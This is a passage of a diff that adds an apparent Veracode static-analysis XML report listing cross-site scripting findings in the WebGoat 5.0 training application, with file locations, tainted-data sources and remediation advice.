+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"4\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ListStaff_jsp.java\"
+        line=\"68\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ListStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"172\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"260\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"48\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variables stub.getRole(),
+        and stub.getLastName(). The tainted data originated from an earlier call to
+        java.sql.statement.executequery. The tainted data is directed into an output
+        stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse contextual escaping
+        on all untrusted data before using it to construct any portion of an HTTP
+        response. The escaping method should be chosen based on the specific use case
+        of the untrusted data, otherwise it may not protect fully against the attack.
+        For example, if the data is being written to the body of an HTML page, use
+        HTML entity encoding (e.g. StringEscapeUtils.escapeHtml() in J2EE or HttpUtility.HtmlEncode()
+        in ASP.NET). For more details on contextual escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login_jsp.java\"
+        line=\"71\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.Login_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"72\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"80\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"170\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"29\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"172\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"56\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"205\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"174\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"85\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
